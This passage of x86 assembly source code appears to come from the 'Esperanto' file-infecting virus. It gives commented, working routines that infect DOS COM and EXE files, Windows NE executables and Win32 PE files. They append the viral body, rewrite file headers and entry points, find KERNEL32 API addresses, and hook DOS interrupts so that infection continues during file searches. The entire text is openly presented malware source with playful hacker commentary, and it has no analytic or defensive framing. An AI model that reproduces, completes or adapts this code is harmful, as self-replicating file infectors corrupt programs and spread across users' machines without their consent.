mov ah,40h ; Append our code to
|
||
mov cx,espo_file_size ; the file we're about
|
||
lea dx,espo_start ; to infect, leaving
|
||
int 21h ; out the data buffers
|
||
|
||
pop ax ; Filesize in AX
|
||
sub ax,3 ; Calcul8 the new jmp
|
||
mov word ptr ds:[new_com_header+1],ax ; And write it
|
||
|
||
call lseek_start ; Lseek to the start
|
||
|
||
mov ah,40h ; And now write our new
|
||
mov cx,5 ; header -0e9h,?,?,;)-
|
||
lea dx,new_com_header ; which jumps straight
|
||
int 21h ; to the viral code
|
||
|
||
close_and_pop: mov ah,3eh ; Close the file we've
|
||
int 21h ; just infected
|
||
|
||
pop_and_leave: cmp byte ptr ds:[file_or_mem],'M' ; Memory infection?
|
||
je memory_exit ; Yes, jump back to it
|
||
|
||
cmp byte ptr ds:[inf_counter],3 ; Have we reached the
|
||
je restore_ne ; infection limit?
|
||
|
||
mov ah,4fh ; If not, look for more
|
||
cmp byte ptr ds:[file_flag],'C' ; files to infect, both
|
||
je find_more_com ; EXE and COM, depending
|
||
jmp find_more_exe ; on their availability
|
||
|
||
memory_exit: pop es ds ; Jump back to the int
|
||
popa ; 21h handler and keep
|
||
popf ; on intercepting 4eh
|
||
retf 2 ; and 4fh to infect
|
||
|
||
; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check_exe: push ds es ; DS = ES (to open files
|
||
pop ds ; in DS:DX and ES:DX)
|
||
|
||
mov ax,3d02h ; Open the file we've
|
||
int 21h ; found in DS:DX (from
|
||
xchg bx,ax ; memory) or ES:DX (from
|
||
pop ds ; the runtime infection)
|
||
|
||
call system_checks ; Do some checks in
|
||
or ah,ah ; order to know if we
|
||
jz close_and_pop ; may infect the file
|
||
|
||
mov ah,3fh ; Read its first 41h
|
||
mov cx,41h ; bytes into our read
|
||
lea dx,old_exe_header ; buffer and point it
|
||
mov si,dx ; with DS:DX and DS:SI
|
||
int 21h
|
||
|
||
mov ax,word ptr ds:[si] ; First word in AX
|
||
add ah,al ; Add the 2 first bytes
|
||
cmp ah,'M'+'Z' ; And check for the MZ
|
||
jne close_and_pop ; mark (DOS EXE files)
|
||
|
||
cmp word ptr ds:[si+12h],');' ; Have we already
|
||
je close_and_pop ; infected the file?
|
||
|
||
cmp word ptr ds:[si+1ah],0 ; We don't like evil
|
||
jne close_and_pop ; overlays :P
|
||
|
||
cmp word ptr ds:[si+1eh],'KP' ; Nor PkLited EXE files,
|
||
je close_and_pop ; they plainly suck
|
||
|
||
call lseek_end ; Lseek to the end of
|
||
cmp ax,(espo_file_size+3e8h) ; the file and check if
|
||
jbe close_and_pop ; it's too small for us
|
||
|
||
cmp byte ptr ds:[si+18h],40h ; Is it a WinXX file?
|
||
je check_winexe ; Yep, go for it!
|
||
|
||
; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect_exe: mov byte ptr ds:[file_flag],'E' ; Set the EXE flag in
|
||
inc byte ptr ds:[inf_counter] ; Increment the counter
|
||
|
||
push ax dx ; DX:AX -> file size
|
||
mov cx,10h ; CX -> paragraph size
|
||
div cx ; Now divide the length
|
||
sub ax,word ptr ds:[si+8] ; Header size in paras
|
||
add dx,offset com_exe_entry ; Add the entry offset
|
||
|
||
push ax ; AX = new EXE CS
|
||
xchg word ptr ds:[si+16h],ax ; Exchange the values
|
||
mov word ptr ds:[exe_cs],ax ; Save old EXE CS
|
||
pop ax ; Restore AX from stack
|
||
|
||
push dx ; DX = new EXE IP
|
||
xchg word ptr ds:[si+14h],dx ; Exchange the values
|
||
mov word ptr ds:[exe_ip],dx ; Save old EXE IP
|
||
pop dx ; Restore DX from stack
|
||
|
||
add dx,offset espo_file_end+320h ; Add 320h to the virus
|
||
and dl,0feh ; size in order to set SP
|
||
|
||
xchg word ptr ds:[si+0eh],ax ; Exchange the values
|
||
mov word ptr ds:[exe_ss],ax ; And save old EXE SS
|
||
|
||
xchg word ptr ds:[si+10h],dx ; Exchange the values
|
||
mov word ptr ds:[exe_sp],dx ; And save old EXE SP
|
||
pop dx ax ; DX:AX -> file size
|
||
|
||
add ax,espo_file_size ; Add virus size to AX
|
||
adc dx,0 ; And add with carry
|
||
mov cx,200h ; CX -> page size
|
||
div cx ; Divide the length
|
||
inc ax ; Increment one page
|
||
mov word ptr ds:[si+2],dx ; Bytes in last page
|
||
mov word ptr ds:[si+4],ax ; Pages in EXE file
|
||
mov word ptr ds:[si+12h],');' ; Set our own mark
|
||
|
||
mov ah,40h ; Append our code to
|
||
mov cx,espo_file_size ; the end of the EXE
|
||
lea dx,espo_start ; file we've almost
|
||
int 21h ; infected :P
|
||
|
||
call lseek_start ; Lseek to start
|
||
|
||
mov ah,40h ; And now write the
|
||
mov cx,1ch ; new header with the
|
||
mov dx,si ; updated pointers
|
||
int 21h ; instead of the old one
|
||
go_away: jmp close_and_pop ; Close file and exit
|
||
|
||
; ÄÄ´ NewEXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check_winexe: lea di,winexe_data ; Point to our buffer
|
||
mov ax,word ptr ds:[si+3ch] ; Save the pointer to
|
||
mov word ptr ds:[di],ax ; the new EXE header
|
||
|
||
mov word ptr ds:[si+12h],');' ; Set our infection mark
|
||
sub word ptr ds:[si+3ch],8 ; Substract a quadword
|
||
cmp word ptr ds:[si+3eh],0 ; Enough room for us?
|
||
jne go_away ; Oops... shit... :(
|
||
|
||
call lseek_start ; Lseek to start
|
||
|
||
mov ah,40h ; Write in the changes
|
||
mov cx,40h ; we've just made in
|
||
mov dx,si ; the pointers of the
|
||
int 21h ; MZ header of the file
|
||
|
||
mov dx,word ptr ds:[di] ; Lseek to the new EXE
|
||
call lseek_middle ; header (MZ+[3ch])
|
||
|
||
mov ah,3fh ; Read 200h bytes from
|
||
mov cx,200h ; the start of the new
|
||
mov dx,si ; EXE file to our buffer
|
||
int 21h ; and point to it
|
||
|
||
cmp word ptr ds:[si],'EP' ; Is it a PE file?
|
||
je check_pe ; Go and eat it!
|
||
|
||
cmp word ptr ds:[si],'EN' ; Maybe a NewEXE file?
|
||
jne bad_winexe ; Argh! that's bad luck
|
||
|
||
cmp word ptr ds:[si+36h],802h ; Does it have gangload
|
||
je infect_newexe ; area? good to know ;)
|
||
|
||
call lseek_start ; Lseek to start of the
|
||
bad_winexe: mov ah,3fh ; file and read again
|
||
mov cx,41h ; the MZ header because
|
||
mov dx,si ; we have to remodify it
|
||
int 21h
|
||
|
||
add word ptr ds:[si+3ch],8 ; Update the pointer to
|
||
call lseek_start ; the new EXE header
|
||
|
||
mov ah,40h ; And rewrite the MZ
|
||
mov cx,40h ; header, stored in our
|
||
mov dx,si ; read buffer (pointed
|
||
int 21h ; by DS:DX and DS:SI)
|
||
jmp close_and_pop ; Close file and exit
|
||
|
||
; ÄÄ´ NewEXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect_newexe: inc byte ptr ds:[inf_counter] ; Increment the counter
|
||
mov ax,word ptr ds:[si+22h] ; Distance to seg.table
|
||
mov dx,8 ; Value we have to add
|
||
cmp word ptr ds:[si+4],ax ; to the pointers which
|
||
jb first_ok ; are equal to AX
|
||
|
||
add word ptr ds:[si+4],dx ; Update first pointer
|
||
first_ok: mov cx,4 ; 4 pointers to update
|
||
push si ; Push SI onto stack
|
||
add si,24h ; Now go for the rest
|
||
|
||
update_ptrs: cmp word ptr ds:[si],ax ; Pointer below AX?
|
||
jb dont_add ; Don't add 8 to it
|
||
|
||
add word ptr ds:[si],dx ; Update the pointer
|
||
dont_add: inc si ; I know i could have
|
||
inc si ; optimized this, but
|
||
loop update_ptrs ; who cares :P
|
||
pop si ; Pop SI from stack
|
||
|
||
mov ax,word ptr ds:[si+1ch] ; AX -> segment counter
|
||
inc word ptr ds:[si+1ch] ; Increment counter
|
||
|
||
mov cx,dx ; CX = DX = 8
|
||
cwd ; Now set DX to 0
|
||
mov byte ptr ds:[si+37h],dl ; EXE flags = 0
|
||
mov word ptr ds:[si+38h],dx ; Kill gangload area
|
||
mov word ptr ds:[si+3ah],dx ; for compatibility
|
||
mul cx ; Multiply AX*CX
|
||
|
||
add ax,word ptr ds:[si+22h] ; Ptr to segment table
|
||
mov cx,200h ; CX -> page size
|
||
adc dx,0 ; Add with carry to DX
|
||
div cx ; Divide the length
|
||
|
||
mov word ptr ds:[di+3],ax ; Move to newexe_size
|
||
mov word ptr ds:[di+5],dx ; Move to last_newexe
|
||
|
||
mov ax,offset newexe_entry ; Offset of the NE entry
|
||
xchg ax,word ptr ds:[si+14h] ; Exchange the values
|
||
mov word ptr ds:[old_ne_ip],ax ; Store old NE IP
|
||
|
||
mov ax,word ptr ds:[si+1ch] ; Nr.of segments in NE
|
||
xchg ax,word ptr ds:[si+16h] ; Exchange the values
|
||
mov word ptr ds:[old_ne_cs],ax ; Store old NE CS
|
||
|
||
mov al,byte ptr ds:[si+32h] ; Get file alignment
|
||
mov byte ptr ds:[di+2],al ; shift count in AL
|
||
|
||
mov ax,word ptr ds:[di] ; Offset of NE header
|
||
mov word ptr ds:[di+7],ax ; in AX and lseek_newexe
|
||
|
||
move_forward: mov ax,word ptr ds:[di+3] ; Get newexe_size value
|
||
or ax,ax ; in AX and check if it
|
||
jz last_page ; is equal to zero
|
||
|
||
dec word ptr ds:[di+3] ; Decrement newexe_size
|
||
mov dx,word ptr ds:[di+7] ; Now lseek to [3ch]-8
|
||
sub dx,8 ; in order to shift the
|
||
call lseek_middle ; required objects
|
||
|
||
mov ah,40h ; Write one page which
|
||
mov cx,200h ; contains the NE header
|
||
add word ptr ds:[di+7],cx ; in [3ch]-8 in order to
|
||
mov dx,si ; shift the 1st object
|
||
int 21h
|
||
|
||
push cx ; CX -> one page size
|
||
mov dx,word ptr ds:[di+7] ; Now lseek to the end
|
||
call lseek_middle ; of the *new* NE header
|
||
|
||
mov ah,3fh ; Read a new page from
|
||
pop cx ; current offset to our
|
||
mov dx,si ; buffer, pointed both
|
||
int 21h ; by DS:DX and DS:SI
|
||
|
||
jmp move_forward ; And go shift it
|
||
last_page: call lseek_end ; Lseek to the bottom
|
||
|
||
mov cl,byte ptr ds:[di+2] ; Get align_shift in CL
|
||
push bx ; Push file handle
|
||
mov bx,1 ; And now shift segment
|
||
shl bx,cl ; offset by segment
|
||
mov cx,bx ; alignment (shl -> CX)
|
||
pop bx ; Pop file handle
|
||
div cx ; And divide AX:CX
|
||
|
||
mov word ptr ds:[di+9],0 ; Set lseek_add = 0
|
||
or dx,dx ; Is DX also zero?
|
||
jz no_extra ; Yes, no extra page
|
||
|
||
sub cx,dx ; Substract DX from CX
|
||
mov word ptr ds:[di+9],cx ; Move it to lseek_add
|
||
inc ax ; And increment AX
|
||
|
||
no_extra: push di ; Push DI onto stack
|
||
mov di,si ; Now DS:SI = DS:DI
|
||
add di,word ptr ds:[last_newexe] ; DS:DI+last_newexe
|
||
|
||
mov word ptr ds:[di],ax ; Segment offset
|
||
mov word ptr ds:[di+2],espo_file_size ; Segment size
|
||
mov word ptr ds:[di+4],180h ; Segment attribs
|
||
mov word ptr ds:[di+6],espo_file_size+400h ; Bytes to
|
||
pop di ; allocate
|
||
|
||
mov dx,word ptr ds:[di+7] ; Lseek to the offset
|
||
sub dx,8 ; where we have to
|
||
call lseek_middle ; write this last page
|
||
|
||
mov ah,40h ; Write it in, its
|
||
mov cx,word ptr ds:[di+5] ; size is specified
|
||
add cx,8 ; in (last_newexe)+8
|
||
mov dx,si ; Point to the buffer
|
||
int 21h ; And do it :P
|
||
|
||
xor cx,cx ; Set the NewEXE IP
|
||
xchg word ptr ds:[newexe_ip],cx ; to zero, exchange it
|
||
push cx ; and push old value
|
||
xor cx,cx ; And now set the
|
||
dec cx ; NewEXE CS to 0ffffh
|
||
xchg word ptr ds:[newexe_cs],cx ; Exchange the values
|
||
push cx ; And push it for l8r
|
||
|
||
mov ax,4202h ; Lseek to our final
|
||
xor cx,cx ; destination place
|
||
mov dx,word ptr ds:[di+9] ; in the NewEXE file
|
||
int 21h
|
||
|
||
mov ah,40h ; And append our virus
|
||
mov cx,espo_file_size ; body to it... now
|
||
lea dx,espo_start ; it has grown 4733
|
||
int 21h ; charming bytes :P
|
||
|
||
pop word ptr ds:[newexe_cs] ; Restore relocation
|
||
pop word ptr ds:[newexe_ip] ; pointers for CS:IP
|
||
|
||
mov ah,40h ; And write the cool
|
||
mov cx,reloc_size ; relocation item :)
|
||
lea dx,reloc_start ; Now the file is
|
||
int 21h ; 4743 bytes bigger!
|
||
jmp go_away ; Close it and exit
|
||
|
||
; ÄÄ´ PE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check_pe: call lseek_start ; Lseek to the start
|
||
mov ah,3fh ; of the file and
|
||
mov cx,41h ; read again the first
|
||
mov dx,si ; 41h bytes of the MZ
|
||
int 21h ; header to rebuild it
|
||
|
||
call lseek_start ; Lseek to start again
|
||
add word ptr ds:[si+MZ_lfanew],8 ; Update the pointer
|
||
mov ah,40h ; to the new EXE header
|
||
mov cx,40h ; by readding 8 to it
|
||
mov dx,si ; and write the MZ
|
||
int 21h ; header back
|
||
|
||
mov dx,word ptr ds:[di] ; Now lseek to the
|
||
call lseek_middle ; PE header (in [3ch])
|
||
|
||
mov ah,3fh ; Read one page from
|
||
mov cx,200h ; it to our buffer
|
||
mov dx,si ; and point it both
|
||
int 21h ; with DS:DX and DS:SI
|
||
|
||
mov bp,si ; Also DS:SI = DS:BP
|
||
lodsd ; First doubleword
|
||
|
||
mov ax,word ptr ds:[si+FH_Characteristics]
|
||
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
||
jz go_away
|
||
; We don't want neither
|
||
test ax,IMAGE_FILE_DLL ; DLLs nor non-exec PE
|
||
jnz go_away ; files, just skip them
|
||
|
||
; Get number of sections of the PE file
|
||
; and then point the first section with EDI
|
||
|
||
movzx ecx,word ptr [si+FH_NumberOfSections]
|
||
movzx edi,word ptr [si+FH_SizeOfOptionalHeader]
|
||
add si,IMAGE_SIZEOF_FILE_HEADER
|
||
add edi,esi
|
||
|
||
s_image_sect: mov eax,dword ptr ds:[si+OH_DataDirectory\
|
||
.DE_Import\
|
||
.DD_VirtualAddress]
|
||
mov edx,dword ptr ds:[di+SH_VirtualAddress]
|
||
sub eax,edx
|
||
|
||
; Now we're looking for the section in which
|
||
; the import table is found. This is usually
|
||
; the .idata section, but we make sure by
|
||
; means of checking if the address of the
|
||
; imports directory is inside this section
|
||
|
||
cmp eax,dword ptr ds:[di+SH_VirtualSize]
|
||
jb section_is_ok
|
||
|
||
; In case it's not, we point to the header
|
||
; of the next section with EDI, and keep on
|
||
; doing the same until we find it
|
||
|
||
add di,IMAGE_SIZEOF_SECTION_HEADER
|
||
loop s_image_sect
|
||
jmp go_away
|
||
|
||
; Now get a pointer to the first import
|
||
; module descriptor in EAX so we may
|
||
; look for KERNEL32.DLL thru this array
|
||
|
||
section_is_ok: add eax,dword ptr ds:[di+SH_PointerToRawData]
|
||
mov dword ptr ds:[rawdata_ptr],eax
|
||
sub edx,eax
|
||
push edx
|
||
|
||
; Get absolute address to this array
|
||
; in EDX and lseek to it in order to
|
||
; read 4096 to our buffer, so we may
|
||
; look for the KERNEL32.DLL descriptor
|
||
|
||
mov edx,eax
|
||
call lseek_middle
|
||
|
||
mov ah,3fh
|
||
mov cx,1000h
|
||
lea dx,old_exe_header
|
||
int 21h
|
||
|
||
; Restore EDX and point both with EAX and
|
||
; EBP to the array of imported modules
|
||
|
||
pop edx
|
||
mov eax,ebp
|
||
|
||
; Get the RVA of the Import Module
|
||
; Descriptor in ESI and later check
|
||
; if it actually exists or not (=0)
|
||
|
||
next_imd_imge: mov esi,dword ptr ds:[bp+ID_Name]
|
||
lea edi,kernel32_n
|
||
or esi,esi
|
||
jz go_away
|
||
|
||
; Now get the address of the name of
|
||
; the IMD and check if it's the one
|
||
; we're looking for (KERNEL32.DLL)
|
||
|
||
push eax ebp
|
||
sub esi,edx
|
||
sub esi,dword ptr ds:[rawdata_ptr]
|
||
add esi,eax
|
||
mov ecx,8
|
||
|
||
; Get a character from DS:ESI, check its
|
||
; case, convert it if necessary to uppercase
|
||
; and then compare the strings pointed by
|
||
; DS:ESI and DS:EDI (-> KERNEL32.DLL)
|
||
|
||
dll_lewp: lodsb
|
||
cmp al,'a'
|
||
jb check_charct
|
||
|
||
sub al,('a'-'A')
|
||
check_charct: scasb
|
||
jne more_imd_imge
|
||
loop dll_lewp
|
||
|
||
; Name matched, restore registers
|
||
|
||
pop edi
|
||
push es bx
|
||
|
||
; Get file date/time and check if it is a
|
||
; binded file (date 24/08/95, time 9:50)
|
||
|
||
mov ah,2fh
|
||
int 21h
|
||
|
||
cmp dword ptr es:[bx+16h],1f184e40h
|
||
je go_away
|
||
|
||
; Don't infect it in case it is binded.
|
||
; Otherwise point the table of imported
|
||
; addresses from the current module (K32)
|
||
; and look for some necessary RVAs
|
||
|
||
pop bx es ebp
|
||
mov esi,dword ptr [di+ID_FirstThunk]
|
||
sub esi,edx
|
||
mov dword ptr ds:[thunk_offset],esi
|
||
push edx
|
||
|
||
; Lseek to the absolute offset and read
|
||
; 4096 bytes to our buffer so we may look
|
||
; for the RVAs of the APIs we need
|
||
|
||
mov edx,esi
|
||
call lseek_middle
|
||
|
||
mov ah,3fh
|
||
mov cx,1000h
|
||
lea dx,old_exe_header
|
||
mov si,dx
|
||
int 21h
|
||
|
||
; Now let's go for GetModuleHandleA. We
|
||
; need the RVA of this API because it is
|
||
; necessary to call it in order to know
|
||
; the base address of KERNEL32.DLL
|
||
|
||
pop edx
|
||
push esi
|
||
lea edi,gmhandle_n
|
||
call search_name
|
||
mov dword ptr ds:[gmhandle_rva],eax
|
||
|
||
; Our next and last objective is the API
|
||
; GetProcAddress, which helps us in order
|
||
; to find the address of any API we look
|
||
; for of a given module or library
|
||
|
||
pop esi
|
||
lea edi,gpaddress_n
|
||
call search_name
|
||
mov dword ptr ds:[gpaddress_rva],eax
|
||
jmp infect_pe
|
||
|
||
; Go to next imported module descriptor
|
||
|
||
more_imd_imge: pop ebp eax
|
||
add ebp,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
jmp next_imd_imge
|
||
|
||
; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect_pe: inc byte ptr ds:[inf_counter] ; Increment inf.counter
|
||
mov si,bp ; SI = BP -> read buffer
|
||
|
||
mov dx,word ptr ds:[winexe_offset] ; Lseek to the PE
|
||
call lseek_middle ; header ([3c8h])
|
||
|
||
mov ah,3fh ; And read 4096 bytes
|
||
mov cx,1000h ; from it to our read
|
||
mov dx,si ; buffer, pointing it
|
||
int 21h ; with DS:DX and DS:SI
|
||
|
||
; Get the RVA of the last section header in
|
||
; EDI. Here's where we're going to copy our
|
||
; code, so no new sections are needed and
|
||
; we're not so easily discovered in a file
|
||
|
||
cld
|
||
lodsd
|
||
mov eax,IMAGE_SIZEOF_SECTION_HEADER
|
||
movzx ecx,word ptr ds:[esi+FH_NumberOfSections]
|
||
dec ecx
|
||
mul ecx
|
||
|
||
movzx edx,word ptr ds:[esi+FH_SizeOfOptionalHeader]
|
||
add eax,edx
|
||
add esi,IMAGE_SIZEOF_FILE_HEADER
|
||
add eax,esi
|
||
mov edi,eax
|
||
|
||
; Now get the old entry point and store its
|
||
; RVA in a dynamic variable of our code we
|
||
; will use in order to jump back to our host
|
||
|
||
push dword ptr ds:[esi+OH_AddressOfEntryPoint]
|
||
pop dword ptr ds:[entry_rva]
|
||
|
||
; Get original file size and store it for
|
||
; later use during the PE infection process
|
||
|
||
push es bx
|
||
mov ah,2fh
|
||
int 21h
|
||
|
||
mov eax,dword ptr es:[bx+1ah]
|
||
pop bx es
|
||
|
||
; Calculate new entry point by means of the
|
||
; original file size and our memory size, and
|
||
; save it as the new AddressOfEntryPoint
|
||
|
||
push eax
|
||
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
|
||
add eax,dword ptr ds:[edi+SH_VirtualAddress]
|
||
add ax,offset espow32_start
|
||
mov dword ptr ds:[esi+OH_AddressOfEntryPoint],eax
|
||
|
||
; And store the RVA of the base address, not
|
||
; forgetting to add the dseta offset to it
|
||
|
||
add eax,dseta_offset
|
||
mov dword ptr ds:[base_address],eax
|
||
|
||
; Get new size of VirtualSize
|
||
|
||
pop eax
|
||
add ax,espo_file_size
|
||
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
|
||
push eax
|
||
add ax,(espo_mem_size-espo_file_size)
|
||
cmp eax,dword ptr ds:[edi+SH_VirtualSize]
|
||
jbe virtual_ok
|
||
|
||
mov dword ptr ds:[edi+SH_VirtualSize],eax
|
||
virtual_ok: pop eax
|
||
|
||
; And now the new size of SizeOfRawData
|
||
|
||
add ax,(espo_mem_size-espo_file_size)
|
||
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
|
||
cdq
|
||
div ecx
|
||
inc eax
|
||
mul ecx
|
||
mov dword ptr ds:[edi+SH_SizeOfRawData],eax
|
||
|
||
; Set section characteristics to execute, read
|
||
; and write access, so Esperanto will not find
|
||
; any problem when performing its functioning
|
||
|
||
or dword ptr ds:[edi+SH_Characteristics],\
|
||
IMAGE_SCN_MEM_EXECUTE or\
|
||
IMAGE_SCN_MEM_READ or\
|
||
IMAGE_SCN_MEM_WRITE
|
||
|
||
; Update the SizeOfImage pointer
|
||
|
||
mov eax,dword ptr ds:[esi+OH_SizeOfImage]
|
||
add ax,espo_file_size
|
||
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
|
||
cdq
|
||
div ecx
|
||
inc eax
|
||
mul ecx
|
||
mov dword ptr ds:[esi+OH_SizeOfImage],eax
|
||
|
||
; Lseek to the offset of the PE header and
|
||
; rewrite the recently modified and updated
|
||
; one the infected file will use from now
|
||
|
||
mov dx,word ptr ds:[winexe_offset]
|
||
call lseek_middle
|
||
|
||
mov ah,40h
|
||
mov cx,1000h
|
||
mov dx,bp
|
||
int 21h
|
||
|
||
; And now finally lseek to the end of the
|
||
; file and append our code to the PE file
|
||
; we've just infected - we can go away
|
||
|
||
call lseek_end
|
||
mov ah,40h
|
||
mov cx,espo_file_size
|
||
lea dx,espo_start
|
||
int 21h
|
||
jmp go_away
|
||
|
||
; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;
|
||
; Note: the following subroutines are used by the DOS and Windows 3.1x mo-
|
||
; dules, in order to perform many repeated actions such as lseeking to the
|
||
; start or the end of a file, finding RVAs, and so on.
|
||
|
||
; ÄÄ´ Lseek to the start of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ BX => file handle
|
||
; þ File pointer somewhere in the file
|
||
;
|
||
; Exit:
|
||
; þ BX => file handle
|
||
; þ File pointer in the start of the file
|
||
|
||
lseek_start: mov ax,4200h ; Lseek function, with
|
||
xor cx,cx ; AL, CX and DX = 0,
|
||
cwd ; ie, lseek to start of
|
||
int 21h ; the file in BX
|
||
ret ; And go back to code
|
||
|
||
; ÄÄ´ Lseek to the middle of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ BX => file handle
|
||
; þ DX => seek offset
|
||
; þ File pointer somewhere in the file
|
||
;
|
||
; Exit:
|
||
; þ BX => file handle
|
||
; þ File pointer = previous DX value
|
||
|
||
lseek_middle: mov ax,4200h ; Lseek function, the
|
||
xor cx,cx ; offset where to seek
|
||
int 21h ; is specified in CX
|
||
ret ; Return to our caller
|
||
|
||
; ÄÄ´ Lseek to the end of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ BX => file handle
|
||
; þ File pointer somewhere in the file
|
||
;
|
||
; Exit:
|
||
; þ BX => file handle
|
||
; þ File pointer in the end of the file
|
||
|
||
lseek_end: mov ax,4202h ; Lseek function, with
|
||
xor cx,cx ; AL=2 (from bottom),
|
||
cwd ; CX and DX equal to
|
||
int 21h ; zero -> lseek to end
|
||
ret ; Return to main code
|
||
|
||
; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ EDX => Section ëelta-offset
|
||
; þ DS:ESI => Import address table for KERNEL32.DLL
|
||
; þ DS:EDI => Given API name to look for
|
||
; þ EBP => Buffer start address
|
||
;
|
||
; Exit:
|
||
; EAX => RVA of the given IMD, or 0 if error
|
||
|
||
search_name: push ds
|
||
pop es
|
||
|
||
; Look for a given API (in EDI) whose RVA we
|
||
; are looking for by means of the structure
|
||
; IMAGE_IMPORT_BY_NAME, pointed by every dword
|
||
; in the thunk data array. First step consists
|
||
; on looking for its address (DS:ESI)
|
||
|
||
lodsd
|
||
or eax,eax
|
||
jz inp_notfound
|
||
|
||
; Once found, we get a pointer to the first
|
||
; function name of this structure, and compare
|
||
; it with the name of the API we look for
|
||
|
||
push esi edi
|
||
sub eax,edx
|
||
sub eax,dword ptr ds:[thunk_offset]
|
||
lea esi,dword ptr ds:[eax+ebp+2]
|
||
namebyname: lodsb
|
||
or al,al
|
||
jz inputfound
|
||
|
||
scasb
|
||
je namebyname
|
||
|
||
pop edi esi
|
||
jmp search_name
|
||
|
||
; In case names match, we go and get the
|
||
; RVA of the function we've just found in
|
||
; the IAT. Otherwise we keep on searching
|
||
|
||
inputfound: pop edi esi
|
||
lea eax,dword ptr ds:[esi-4]
|
||
add eax,dword ptr ds:[thunk_offset]
|
||
jmp stupid_jump
|
||
|
||
; I know this jump is completely stupid
|
||
; and non-sense, but i felt like to write
|
||
; such a fool thing when writing the virus
|
||
; and i decided to keep it :)
|
||
|
||
db '29A'
|
||
|
||
; We calculate the RVA and return it in
|
||
; EAX so it may be later stored in its
|
||
; corresponding dynamic variable
|
||
|
||
stupid_jump: sub eax,ebp
|
||
add eax,edx
|
||
ret
|
||
|
||
; If we couldn't find the RVA of the API,
|
||
; then we return with EAX equal to zero
|
||
|
||
inp_notfound: xor eax,eax
|
||
ret
|
||
|
||
; ÄÄ´ Check system conditions before infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ BX => handle of possible victim
|
||
; þ Infection counter holding a value 0-3
|
||
; þ Infection timer holding a certain value
|
||
;
|
||
; Good exit:
|
||
; þ AH => 2ch
|
||
;
|
||
; Exit with error:
|
||
; þ AH => 0
|
||
; þ Infection counter set to 0
|
||
; þ Infection timer updated
|
||
|
||
system_checks: mov ah,2ch ; Get system time to
|
||
int 21h ; do our inf.checks
|
||
|
||
cmp byte ptr ds:[inf_counter],3 ; Have we already
|
||
jb check_time ; infected 3 files?
|
||
|
||
mov byte ptr ds:[inf_counter],al ; Yes, update the
|
||
jmp set_error ; infection counter
|
||
|
||
check_time: cmp byte ptr ds:[inf_timer],cl ; Are we still in the
|
||
jb go_for_it ; same minute?
|
||
|
||
set_error: cbw ; Set AH=0
|
||
mov byte ptr ds:[inf_timer],cl ; Update the timer
|
||
go_for_it: ret ; And return
|
||
|
||
; Í͹ Win32 module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
.386p ; Intel 80386+ PMODE
|
||
espow32_start label byte ; Define 32-bit start
|
||
|
||
first_entry: push eax ; Push for later use
|
||
pe_entry: pushad ; Push all the stuff
|
||
|
||
call delta_offset ; Get ëelta-offset
|
||
dseta_byte label byte ; Dseta-offset marker
|
||
delta_offset: pop ebp ; Get return address
|
||
mov ebx,ebp ; Store it in EBX
|
||
sub ebp,offset delta_offset ; Get ëelta in EBP
|
||
|
||
; Get the base address of our host in
|
||
; EBX, by means of substracting its
|
||
; RVA, stored during the PE infection
|
||
|
||
db 81h,0ebh
|
||
base_address dd offset first_entry-base_default+dseta_offset
|
||
|
||
; Now get the return address, ie, the
|
||
; original entry point of the PE file,
|
||
; in EAX and push it onto the stack
|
||
; for later use during our execution
|
||
|
||
db 0b8h
|
||
entry_rva dd offset exit_process-base_default
|
||
add eax,ebx
|
||
mov dword ptr [esp+20h],eax
|
||
|
||
